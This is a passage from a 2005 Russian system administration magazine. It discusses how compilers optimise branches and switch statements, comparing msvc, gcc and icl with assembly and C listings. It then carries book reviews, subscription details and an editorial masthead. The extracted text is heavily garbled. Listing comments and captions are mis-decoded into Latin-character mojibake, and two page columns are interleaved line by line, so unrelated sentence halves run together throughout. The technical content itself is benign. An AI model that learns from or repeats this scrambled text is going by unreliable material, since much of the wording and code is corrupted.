лиотеки SIMD. В частности, цикл вида:
Ëèñòèíã 23. Ïîèñê ìàêñèìóìà ñðåäè äâóõ öåëûõ ÷èñåë
áåç èñïîëüçîâàíèÿ âåòâëåíèé Ëèñòèíã 24. Íåîïòèìèçèðîâàííûé âàðèàíò ñ âåòâëåíèÿìè
SUB b, a
; îòíÿòü îò ñîäåðæèìîãî 'b' çíà÷åíèå 'a', çàïèñàâ ðåçóëüòàò short a[4], b[4], c[4];
for (i=0; i<4; i++)
; â 'b', åñëè a > b, òî ïðîöåññîð óñòàíîâèò ôëàã çàåìà c[i] = a[i] > b[i] ? a[i] : b[i];
; â åäèíèöó

SBB c, c может быть переписан так:


; îòíÿòü îò ñîäåðæèìîãî 'c' çíà÷åíèå 'c' ñ ó÷åòîì ôëàãà
; çàåìà, çàïèñàâ ðåçóëüòàò îáðàòíî â 'c' ('c' – âðåìåííàÿ Ëèñòèíã 25. Óñòðàíåíèå âåòâëåíèé ïóòåì èñïîëüçîâàíèÿ
; ïåðåìåííàÿ). Åñëè a <= b, òî ôëàã çàåìà ñáðîøåí, è 'c' ôóíêöèè select_gt áèáëèîòåêè êëàññîâ Intel SIMD
; áóäåò ðàâíî 0. Åñëè a > b, òî ôëàã çàåìà óñòàíîâëåí è 'c'
; áóäåò ðàâíî -1 Is16vec4 a, b, c
AND c, b // ôóíêöèÿ âåêòîðíîãî ïîèñêà ìàêñèìóìà áåç âåòâëåíèé
; âûïîëíèòü áèòîâóþ îïåðàöèþ (c & b), çàïèñàâ ðåçóëüòàò â 'c' c = select_gt(a, b, a, b);
; Åñëè a <= b, òî ôëàã çàåìà ðàâåí íóëþ, 'c' ðàâíî 0,
; çíà÷èò, ñ =(c & b) == 0, â ïðîòèâíîì ñëó÷àå: c == b - a Естественно, такой код непереносим и на других ком-
;
ADD a, c пиляторах он работать не будет, поэтому, прежде чем под-
; âûïîëíèòü ñëîæåíèå ñîäåðæèìîãî 'a' ñî çíà÷åíèåì 'c', çàïèñàâ саживаться на Intel, следует все взвесить и тщательно об-
; ðåçóëüòàò â 'a'.
; åñëè a <= b, òî c = 0 è a = a думать. Тем более что альтернативные мультимедийные
; åñëè a > b, òî c = b - a, è a = a + (b-a) == b библиотеки имеются и на других компиляторах.

Компилятор msvc поддерживает замену ветвлений ма- Оптимизация switch


тематическими операциями, однако использует несколько Оператор множественного выбора switch очень популярен
другую технику, отдавая предпочтение инструкции SETcc xxx, среди программистов (особенно разработчиков Windows-
устанавливающую xxx в единицу, если условие сс истинно. приложений). В некоторых (хотя и редких) случаях, опера-
Как показывает практика, msvc оптимизирует только ветв- торы множественного выбора содержат сотни (а то и тыся-
ления константного типа, т.е. «if (n > m) a = 66; else a = 99;» чи) наборов значений, и если решать задачу сравнения «в
еще оптимизируется, а «if (n > m) a = x; else a = y;» уже нет. лоб», время выполнения оператора switch окажется слиш-
Компилятор gcc, использующий инструкцию условного ком большим, что не лучшим образом скажется на общей
присвоения CMOVcc, оптимизирует все конструкции типа min, производительности программы, поэтому пренебрегать его
max, set flags, abs и т. д., что существенно увеличивает про- оптимизацией ни в коем случае нельзя.
изводительность, однако требует как минимум Pentium Pro
(инструкция SETcc работает и на Intel 80386). За это отве- Балансировка логического дерева
чают ключи -fif-conversion и -fif-conversion2, которые на плат- Если отвлечься от устоявшейся идиомы «оператор switch
форме Intel эквивалентны друг другу. (Вообще говоря, gcc дает специальный способ выбора одного из многих вари-
поддерживает множество ключей, отвечающих за ликви- антов, который заключается в проверке совпадения значе-
дацию ветвлений, однако на платформе Intel они лишены ния данного выражения с одной из заданных констант в со-
смысла, поскольку в лексиконе x86-процессоров просто нет ответствующем ветвлении», легко показать, что switch пред-
соответствующих команд!). ставляет собой завуалированный оператор поиска соответ-
Компилятор icl – единственный из всех трех, кто не за- ствующего case-значения.
меняет ветвления математическими операциями (что в све- Последовательный перебор всех вариантов, соответ-
те активной агитации за команды SBB/CMOVcc, разверну- ствующий тривиальному линейному поиску – занятие по-
той компанией Intel, выглядит довольно странно). Во вся- рочное и крайне неэффективное. Допустим, наш оператор
ком случае компилятор не делает этого явно и в качестве switch выглядит так:
компенсации предлагает использовать интринсики (от анг-
лийского «intrinsic», буквально «внутренний»; нестандарт- Ëèñòèíã 26. Íåîïòèìèçèðîâàííûé âàðèàíò îïåðàòîðà
ìíîæåñòâåííîãî âûáîðà
ные операторы языка, непосредственно транслирующиеся
в машинный код. switch (a)
{
За более подробным описанием обращайтесь к руко- case 98 : /* êîä îáðàáîò÷èêà */ break;

Советы
! Избегайте использования глобальных и статических пе- ! Заменяйте int a; if ((a >= 0) && (a < MAX)) на if ((unsigned
ременных – локальные переменные компилятору намно- int)a < MAX), – последняя конструкция на одно ветвле-
го проще оптимизировать. ние короче.
! Не используйте переменные там, где можно использо- ! Ветвление с проверкой на нуль оптимизируется намно-
вать константы. го проще, чем на любое другое значение.
! Везде, где это только возможно, используйте беззнако- ! Конструкции типа x = (flag?sin:cos)(y) не избавляют от
вые переменные – они намного легче оптимизируются, ветвлений, но сокращают объем кодирования.
особенно в тех случаях, когда компилятор пытается из- ! Не пренебрегайте оператором goto – зачастую он позво-
бавиться от ветвлений. ляет проектировать более компактный и элегантный код.

90
программирование
case 4 : /* êîä îáðàáîò÷èêà */ break; это не сто! Оптимизированный вариант оператора switch в
case 3 : /* êîä îáðàáîò÷èêà */ break; худшем случае потребует лишь пяти сравнений, но и это
case 9 : /* êîä îáðàáîò÷èêà */ break;
case 22 : /* êîä îáðàáîò÷èêà */ break; еще не предел!
case 0 : /* êîä îáðàáîò÷èêà */ break; Учитывая, что x86 процессоры все три операции срав-
case 11 : /* êîä îáðàáîò÷èêà */ break;
case 666: /* êîä îáðàáîò÷èêà */ break; нения <, =, > совмещают в одной машинной команде, дво-
case 96 : /* êîä îáðàáîò÷èêà */ break; ичное логическое дерево можно преобразовать в троичное,
case 777: /* êîä îáðàáîò÷èêà */ break;
case 7 : /* êîä îáðàáîò÷èêà */ break; тогда новых гнезд для его балансировки добавлять не нуж-
} но. Простейший алгоритм, называемый методом отрезков,
Тогда соответствующее ему неоптимизированное логи- работает так: сортируем все числа по возрастанию и делим
ческое дерево будет достигать в высоту одиннадцати гнезд получившийся отрезок пополам. Число, находящееся по-
(см. рис. 3 слева). Причем на левой ветке корневого гнез- середине (в нашем случае это 11), объявляем вершиной
да окажется аж десять других гнезд, а на правой – вообще дерева, а числа, расположенные слева от него, – его левы-
ни одного. Чтобы исправить «перекос», разрежем одну вет- ми ветвями и подветвями (в нашем случае это 0, 3, 4 и 7).
ку на две и прицепим образовавшиеся половинки к новому Остальные числа (22, 96, 98, 666, 777) идут направо. По-
гнезду, содержащему условие, определяющее, в какой из вторяем эту операцию рекурсивно до тех пор, пока длина
веток следует искать сравниваемую переменную. Напри- подветвей не сократится до единицы. В конечном счете,
мер, левая ветка может содержать гнезда с четными зна- вырастет следующее дерево :
чениями, а правая – с нечетными. Но это плохой критерий:
четных и нечетных значений редко бывает поровну и вновь
образуется перекос. Гораздо надежнее поступить так: бе-
рем наименьшее из всех значений и бросаем его в кучу А,
затем берем наибольшее из всех значений и бросаем его в
кучу B. Так повторяем до тех пор, пока не рассортируем
все имеющиеся значения (см. рис. 3 справа).
Поскольку, оператор switch требует уникальности каж-
дого значения, т. е. каждое число может встречаться лишь
однажды, легко показать, что: Ðèñóíîê 4. Òðîè÷íîå äåðåâî, ÷àñòè÷íî ñáàëàíñèðîâàííîå
! в обеих кучах будет содержаться равное количество чи- ìåòîäîì îòðåçêîâ
сел (в худшем случае – в одной куче окажется на число Очевидно, что это не самое лучшее дерево из всех. Мак-
больше); симальное количество сравнений (т.е. количество сравне-
! все числа кучи A меньше наименьшего из чисел кучи B. ний в худшем случае) сократилось с пяти до четырех, а ко-
Следовательно, достаточно выполнить только одно срав- личество ветвлений возросло вдвое, в результате чего, вре-
нение, чтобы определить: в какой из двух куч следует мя выполнения оператора switch только возросло. К тому
искать сравниваемое значение. же структура построения дерева явно не оптимальна. Гнез-
да (a<=3), (a>=7), (a<=96), (a>=666) имеют свободные вет-
ви, что увеличивает высоту дерева на единицу. Но, может
быть, компилятор сумеет это оптимизировать?
Дизассемблирование показывает, что компилятор msvc
генерирует троичное дерево, сбалансированное по улуч-
шенному алгоритму отрезков, содержащее всего лишь
7 операций сравнения, 9 ветвлений и таблицу переходов на
10 элементов (см. «Создание таблицы переходов»). В худ-
шем случае выполнение оператора switch требует 3 срав-
нений и 3 ветвлений. Троичное дерево, построенное ком-
пилятором gcc, сбалансировано по классическому алгорит-
Ðèñóíîê 3. Íåñáàëàíñèðîâàííîå (ñëåâà) è ñáàëàíñèðîâàííîå му отрезков и состоит из 11 сравнений и 24 ветвлений. В
(ñïðàâà) switch/case-äåðåâî худшем случае выполнение оператора switch растягивает-
Высота вновь образованного дерева будет равна ся на 4 сравнения и 6 ветвлений. Компилятор icl, работаю-
1+(N+1)/2, где N – количество гнезд старого дерева. Дей- щий по принципу простого линейного поиска, строит дво-
ствительно, мы же делим ветвь дерева надвое и добавля- ичное дерево из 11 сравнений и 11 ветвлений. В худшем
ем новое гнездо – отсюда и берется N/2 и +1, а (N+1) необ- случае все узлы дерева «пережевываются» целиком. Вот
ходимо для округления результата деления в большую сто- так «оптимизация»!
рону. То есть если высота неоптимизированного дерева до-
стигала 100 гнезд, то теперь она уменьшилась до 51. Гово- Создание таблицы переходов
рите, 51 все равно много? Но кто нам мешает разбить каж- Если значения ветвей выбора представляют собой ариф-
дую из двух ветвей еще на две? Это уменьшит высоту де- метическую прогрессию (см. листинг 27), компилятор мо-
рева до 27 гнезд! Аналогично, последующее уплотнение жет сформировать таблицу переходов – массив, проиндек-
даст 16 → 12 → 11 → 9 → 8… и все! Более плотная упаковка сированный case-значениями и содержащий указатели на
дерева уже невозможна. Но, согласитесь, восемь гнезд – соответствующие им case-обработчики. В этом случае

№3, март 2005 91


программирование
сколько бы оператор switch ни содержал ветвей – одну или единственный из всех трех, способный комбинировать таб-
миллион, – он выполняется за одну итерацию. Красота! лицы переходов с логическими деревьями. Разряженные
участки с далеко отстоящими друг от друга значениями
Ëèñòèíã 27. Íåîïòèìèçèðîâàííûé switch, îðãàíèçîâàííûé монтируются в виде дерева, а густо населенные области
ïî ïðèíöèïó óïîðÿäî÷åííîé àðèôìåòè÷åñêîé ïðîãðåññèè
упаковываются в таблицы переходов.
switch (a) Вернемся к листингу 26. Значения 9, 11, 22, 74, 666, 777
{
case 1 : /* êîä îáðàáîò÷èêà */ break; упорядочиваются в виде дерева, а 0, 3, 4, 7, 9 ложатся в
case 2 : /* êîä îáðàáîò÷èêà */ break; таблицу переходов, благодаря чему достигается предель-
case 3 : /* êîä îáðàáîò÷èêà */ break;
case 4 : /* êîä îáðàáîò÷èêà */ break; но высокая скорость выполнения, далеко опережающая кон-
case 5 : /* êîä îáðàáîò÷èêà */ break; курентов.
case 6 : /* êîä îáðàáîò÷èêà */ break;
case 7 : /* êîä îáðàáîò÷èêà */ break;
case
case
8
9
:
:
/*
/*
êîä
êîä
îáðàáîò÷èêà
îáðàáîò÷èêà
*/
*/
break;
break;
Свободная таблица
case 10 : /* êîä îáðàáîò÷èêà */ break;
case 11 : /* êîä îáðàáîò÷èêà */ break;
}
Ëèñòèíã 28. Äèçàññåìáëåðíûé ëèñòèíã îïòèìèçèðîâàííîãî
âàðèàíòà îïåðàòîðà switch
cmp eax, 0Bh ; switch 12 cases
; ñðàâíèâàåì a ñ 11
ja short loc_80483F5 ; default
; åñëè a > 11 âûõîäèì èç îïåðàòîðà switch
;
jmp ds:off_804857C[eax*4] ; switch jump
; ïåðåäàåì óïðàâëåíèå ñîîòâåòñòâóþùåìó
; case-îáðàáîò÷èêó, òàêèì îáðàçîì, ìû èìååì âñåãî ëèøü
; îäíî ñðàâíåíèå è äâà âåòâëåíèÿ

; // òàáëèöà ñìåùåíèé case-îáðàáîò÷èêîâ


off_804857C ↑r
dd offset loc_80483F5 ; DATA XREF: main+11↑
dd offset loc_80483E8 ; jump table for switch statement
dd offset loc_80483F9
dd offset loc_8048402
dd offset loc_804840B
dd offset loc_8048414
dd offset loc_804841D
dd offset loc_8048426
dd offset loc_804842F
dd offset loc_8048438
dd offset loc_8048441
dd offset loc_804844F

Создавать таблицы переходов умеют все три рассмат- Заключение


риваемых компилятора, даже если элементы прогрессии Справедливости ради оливковая ветвь пальмы первенства
некоторым образом перемешаны: на этот раз не достанется никому. Все три компилятора
показывают одинаково впечатляющий результат, но про-
Ëèñòèíã 29. Íåîïòèìèçèðîâàííûé switch, îðãàíèçîâàííûé калываются в мелочах. Позиция icl выглядит достаточно
ïî ïðèíöèïó óïîðÿäî÷åííîé àðèôìåòè÷åñêîé ïðîãðåññèè
сильной, однако на безусловное господство никак не тя-
switch (a) нет. Как минимум ему предстоит научиться выравнивать
{
case 11 : /* êîä îáðàáîò÷èêà */ break; переходы, заменять ветвления математическими операци-
case 2 : /* êîä îáðàáîò÷èêà */ break; ями и переваривать оператор switch.
case 13 : /* êîä îáðàáîò÷èêà */ break;
case 4 : /* êîä îáðàáîò÷èêà */ break; Компилятор gcc, с учетом его бесплатности, по-прежне-
case 15 : /* êîä îáðàáîò÷èêà */ break; му остается наилучшим выбором. Он реализует многие
case 6 : /* êîä îáðàáîò÷èêà */ break;
case 17 : /* êîä îáðàáîò÷èêà */ break; новомодные способы оптимизации ветвлений (в частности,
case 8 : /* êîä îáðàáîò÷èêà */ break; использует инструкцию CMOVcc), однако по ряду позиций
case 19 : /* êîä îáðàáîò÷èêà */ break;
case 10 : /* êîä îáðàáîò÷èêà */ break; проигрывает насквозь коммерческому msvc, лишний раз
case 21 : /* êîä îáðàáîò÷èêà */ break; подтверждая основной лозунг Microsoft: «Bill always win».
}
При переходе от ветвлений к циклам (а циклы, как извест-
Если один или несколько элементов прогрессии отсут- но, «съедают» до 90% производительности программы),
ствуют, соответствующие им значения дополняются фик- этот разрыв лишь усиливается. Но о циклах в другой раз.
тивными переходниками к default-обработчику. Таблица Это слишком объемная, хотя и увлекательная тема. Совре-
переходов от этого, конечно, «распухает», однако на ско- менные компиляторы не только выбрасывают из цикла все
рости выполнения оператора switch это практически никак ненужное (например, заменяют цикл с предусловием на
не отражается. цикл с постусловием, который на одно ветвление короче),
Однако при достижении некоторой пороговой величи- но и трансформируют сам алгоритм, подгоняя порядок об-
ны «разрежения» таблица переходов внезапно трансфор- работки данных под особенности архитектуры конкретного
мируется в двоичное/троичное дерево. Компилятор msvc – микропроцессора.

92
книжная полка
Записки OpenOffice.org
исследователя открытый офис
компьютерных для Linux и Windows
вирусов Виктор Костромин
Крис Касперски Это первая книга на русском
Очень любопытная книга от языке, посвященная Open
известного технического пи- Office.org – популярному офис-
сателя. Касперски просто и ному пакету, в своем развитии
доступно делится личным шагающему семимильными
опытом и описывает соб- шагами и все больше тесняще-
ственные эксперименты в об- му Microsoft Office. Книга по-
ласти компьютерной вирусо- служит отличным помощником
логии. Книга разделена на 4 для человека, начинающего
части. В первой подробно осваивать openoffice.org. Изда-
рассматриваются локальные вирусы, паразитирующие на ние рассчитано на широкий круг читателей – от «новичков»
Winodws/UNIX. Вторая часть полностью посвящена ком- до продвинутых пользователей. Книга построена в виде эк-
пьютерным червям. Методы борьбы с вирусами описаны спресс-курса. Достаточно подробно описана работа с тек-
в третей части книги. В четвертой части подробно раскры- стовым процессором Writer, электронной таблицей Calc, гра-
та тема UNIX vs. NT с точки зрения безопасности. В при- фическим пакетом Draw, системой подготовки презентаций
ложении к книге рассмотрены приемы восстановления ОС Impress, редактором формул Math. Также рассмотрены об-
в «боевых» условиях и приемы борьбы со спамом. Книга, щие вопросы функционирования пакета. После прочтения
по сути, является некой компиляцией ранее опубликован- данной книги читатель получит знания, необходимые для ком-
ных статей в нашем журнале, что в некоторой степени фортный работы в OpenOfice.org. Эта книга – незаменимое
очень удобно. Отличный выбор для тех, кто хочет погру- приобретение для всех пользователей, желающих присту-
зиться с головой в изучение и исследование вирусов. Кни- пить к использованию OpenOfice.org вместо Microsoft Office.
га рассчитана на достаточно подготовленного читателя, Вместе с книгой в комплекте идет диск с дистрибутивами
который не боится углубиться в изучение дизассемблер- Open Office.org для Windows, Linux и FreeBSD.
ных листингов и дебрей ОС. Издательство «БХВ-Петербург», 2005 г. – 272 стр. ISBN
Издательство «Питер», 2005 г. – 316 стр. ISBN 5-469- 5-94157-266-2. Издание подготовлено совместно с компа-
00331-0. нией ЛинуксЦентр.

Полное руководство Настройка SQL


пользователя Ден Тоу
Mandrake Linux Данное издание является пе-
Mandrakesoft реводом книги «SQL Tuning»
Книга является переводом издательства O’Reilly, которое
официального руководства для многих стало синонимом
пользователя. Если свое зна- качества содержания книг.
комство с Linux вы собираетесь Книга написана одним из са-
начать с популярного дистри- мых известных и уважаемых
бутива Mandrake – эта книга специалистов в области баз
для вас. Новички получат до- данных. Основная тема кни-
статочные сведения для нача- ги – оптимизация SQL-запро-
ла работы с Linux в разделе сов. На страницах издания вы
«Введение в Linux». Далее под- найдете ответы на такие воп-
робно описана пошаговая установка системы. Отдельный росы: как увеличить скорость выполнения запросов к базе
раздел в книге посвящен миграции из Winodws/MacOS. Опи- данных, как наиболее оптимально построить запрос. В книге
сание и примеры работы с популярными программами, та- заложена фундаментальная информация, которую должны
кими как Mozilla, OpenOffice.org, XMMS, MPlayer GIMP, по- знать все программисты/разработчики баз данных. Авто-
зволят начинающим быстрее освоиться в новой для себя ром используется математический диаграммный метод для
системе. Не обойден вниманием вопрос тонкой настройки получения оптимального или близкого к оптимальному пла-
и восстановления системы. Опытные пользователи найдут на выполнения для SQL-запроса. Большое количество при-
для себя много интересного в разделе «Глубины Linux». В меров и заданий (для MS SQL, DB2, Oracle) помогут луч-
качестве приложения к книге идет диск с Mandrake Linux шим образом усвоить излагаемый материал.
10.1 Linux Center Edition. Издательство «Питер», 2004 г. – 333 стр. ISBN 5-94723-
Издательство «БХВ-Петербург», 2005 г. – 512 cтр. ISBN 959-0 (Ориг ISBN 0596005733).
5-94157-637-4. Издание подготовлено совместно с компа-
нией ЛинуксЦентр. Рубрику ведет
Александр Байрак

№3, март 2005 93


подписка на II полугодие 2005
Российская Федерация ! Казахстан – по каталогу «Российская Пресса» через
! Подписной индекс: 81655 ОАО «Казпочта» и ЗАО «Евразия пресс»
Каталог агентства «Роспечать» ! Беларусь – по каталогу изданий стран СНГ через РГО
! Подписной индекс: 87836 «Белпочта» (220050, г.Минск, пр-т Ф.Скорины, 10)
Объединенный каталог «Пресса России» ! Узбекистан – по каталогу «Davriy nashrlar» российские
Адресный каталог «Подписка за рабочим столом» издания через агентство по распространению печати
Адресный каталог «Библиотечный каталог» «Davriy nashrlar» (7000029, Ташкент, пл.Мустакиллик,
! Альтернативные подписные агентства: 5/3, офис 33)
Агентство «Интер-Почта» (095) 500-00-60, курьерская ! Армения – по списку номенклатуры «АРЗИ» через ГЗАО
доставка по Москве «Армпечать» (375005, г.Ереван, пл.Сасунци Давида, д.2)
Агентство «Вся Пресса» (095) 787-34-47 и ЗАО «Контакт-Мамул» (375002, г. Ереван, ул.Сарья-
Агентство «Курьер-Прессервис» на, 22)
Агентство «ООО Урал-Пресс» (343) 375-62-74 ! Грузия – по списку номенклатуры «АРЗИ» через АО
! Подписка On-line «Сакпресса» ( 380019, г.Тбилиси, ул.Хошараульская, 29)
http://www.arzy.ru и АО «Мацне» (380060, г.Тбилиси, пр-т Гамсахурдия, 42)
http://www.gazety.ru ! Молдавия – по каталогу через ГП «Пошта Молдавей»
http://www.presscafe.ru (МД-2012, г.Кишинев, бул.Штефан чел Маре, 134)
по списку через ГУП «Почта Приднестровья» (МD-3300,
СНГ г.Тирасполь, ул.Ленина, 17)
В странах СНГ подписка принимается в почтовых отделе- по прайслисту через ООО Агентство «Editil Periodice»
ниях по национальным каталогам или по списку номенкла- (2012, г.Кишинев, бул. Штефан чел Маре, 134)
туры АРЗИ: ! Подписка для Украины:
! Азербайджан – по объединенному каталогу российских Киевский главпочтамп
изданий через предприятие по распространению печа- Подписное агентство «KSS»
ти «Гасид» (370102, г. Баку, ул. Джавадхана, 21) Телефон/факс (044)464-0220

Подписные
индексы:

81655
по каталогу
агентства
«Роспечать»

87836
по каталогу
агентства
«Пресса
России»

№3, март 2005 95


СИСТЕМНЫЙ АДМИНИСТРАТОР
№3(28), Март, 2005 год

РЕДАКЦИЯ
ЧИТАЙТЕ
Исполнительный директор
Владимир Положевец
В СЛЕДУЮЩЕМ
Ответственный секретарь
Наталья Хвостова
sekretar@samag.ru
НОМЕРЕ:
Технический редактор
Владимир Лукин
Редакторы Apache как прокси-сервер Professional SP2 Rus вместе с требуе-
Андрей Бешков Рассмотрим достаточно стандартную мым прикладным программным обес-
Валентин Синицын для небольшой организации связку: печением в практике аутсорсинга.
Алексей Барабанов UNIX-шлюз для выхода в Интернет,
внутренний веб-сервер (Apache), фай- Базовая настройка
РЕКЛАМНАЯ СЛУЖБА ловый сервер, почта, прокси-сервер... маршрутизатора Cisco
тел./факс: (095) 928-8253 Оказывается, часть звеньев этой це- начального уровня
Константин Меделян почки можно объединить друг с дру- Описание настройки может послужить
reсlama@samag.ru гом, сократив тем самым число обслу- отправной точкой для самостоятельно-
живаемых сервисов и даже получить го конфиг урирования домашнего/
Верстка и оформление при этом кое-какие дополнительные офисного маршрутизатора UNIX или
imposer@samag.ru бонусы. В данной статье рассматри- Windows администратором, ранее не
maker_up@samag.ru вается процесс настройки Apache для работавшим с оборудованием Cisco.
Дизайн обложки работы в качестве кэширующего про-
Николай Петрочук кси-сервера, предоставляющего воз- Alt-N MDaemon –
можности динамического сжатия веб- почтовая система
107045, г. Москва, страниц. для средних
Ананьевский переулок, дом 4/2 стр. 1 и крупных компаний
тел./факс: (095) 928-8253 Автоматизация Alt-N Mdaemon – почтовый сервер
Internet: www.samag.ru MS Windows, или AutoIt корпоративного уровня для ОС семей-
как мечта эникейщика ства Windows. Уже с первых версий дан-
РУКОВОДИТЕЛЬ ПРОЕКТА Взгляд на проблему автоматизации ра- ный продукт пользовался заслуженной
Петр Положевец бот в MS Windows со стороны систем- популярностью среди администраторов
ного администратора, не желающего Windows-систем, благодаря чему посто-
УЧРЕДИТЕЛИ становиться MSCE. Основная цель – в янно совершенствовался и дополнялся
Владимир Положевец максимальном сокращении обслужи- новыми возможностями. На сегодняш-
Александр Михалев вающих операций в среде MS Windows. ний день MDaemon – это SMTP/POP/
В этом помогает нам инструментарий IMAP почтовый сервер с полным набо-
ИЗДАТЕЛЬ AutoIt. С помощью этой программы, ко- ром возможностей: защита от спама,
ЗАО «Издательский дом торая является оператором-ботом, безопасный доступ к почте через веб-
«Учительская газета» можно автоматизировать все массо- интерфейс при помощи обычного бра-
вые операции в среде MS Windows. В узера, удаленное администрирование,
Отпечатано типографией качестве большого комплексного при- а также, при установленном MDaemon
ГП «Московская Типография №13» мера приводится решение задачи авто- AntiVirus, защита вашей системы от
Тираж 8200 экз. матической установки MS Windows XP почтовых вирусов.

Журнал зарегистрирован Уважаемые читатели!


в Министерстве РФ по делам печати,
телерадиовещания и средств мас- Началась подписка на II полугодие 2005 года.
совых коммуникаций (свидетельство
ПИ № 77-12542 от 24 апреля 2002г.) Продолжается подписка на журнал на I полугодие 2005 года.

За содержание статьи ответствен- Если вы не успели подписаться на все шесть выпусков


ность несет автор. За содержание рек- первого полугодия, приобретайте недостающие номера
ламного обьявления ответственность через интернет-магазины
несет рекламодатель. Все права на
опубликованные материалы защище-
ны. Редакция оставляет за собой пра-
во изменять содержание следующих
номеров. Доставка почтой в любую точку России.

96

Вам также может понравиться